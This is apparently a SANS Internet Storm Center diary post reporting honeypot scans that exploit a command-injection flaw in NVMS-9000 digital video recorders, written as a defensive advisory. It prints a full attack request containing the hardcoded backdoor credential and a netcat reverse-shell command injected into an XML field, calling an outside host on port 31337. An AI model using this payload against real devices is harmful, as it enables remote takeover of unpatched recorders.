Scanning Activity for NVMS-9000 Digital Video Recorder, (Sun, Oct 20th)

This post was originally published on this site

Since the beginning of October, my honeypot has been capturing numerous scans for DVR model NVMS-9000 which a PoC was released last year describing a “Stack Overflow in Base64 Authorization”[1].

DVR Activity NVMS-9000

The traffic captured by my honeypot matches the PoC with the same Base 64 username and password (admin:{12213BD1-69C7-4862-843D-260500D1DA40}) attempting to fork a reverse shell to redirect the traffic to a remote listener on port TCP 31337. The vendor advisory is posted here where they indicated a firmware update is available.

Here is an example of traffic you could expect to see in your logs:

20191020-025738: 192.168.25.9:80-84.150.176.93:34656 data ‘POST /editBlackAndWhiteList HTTP/1.1rnAccept-Encoding: identityrnContent-Length: 586rnAccept-Language: en-usrnHost: XX.71.48.119rnAccept: */*rnUser-Agent: ApiToolrnConnection: closernCache-Control: max-age=0rnContent-Type: text/xmlrnAuthorization: Basic YWRtaW46ezEyMjEzQkQxLTY5QzctNDg2Mi04NDNELTI2MDUwMEQxREE0MH0=rnrn<?xml version=”1.0″ encoding=”utf-8″?><request version=”1.0″ systemType=”NVMS-9000” clientType=”WEB”><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=”filterTypeMode”>refuse</filterType><filterList type=”list”><itemType><addressType type=”addressType”/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}XX.174.93.178${IFS}31337${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>’

[1] https://raw.githubusercontent.com/mcw0/PoC/master/TVT_and_OEM_IPC_NVR_DVR_RCE_Backdoor_and_Information_Disclosure.txt
[2] http://en.tvt.net.cn/news/227.html
[3] https://manualzz.com/doc/9541049/cms-nvms-9000-presentation

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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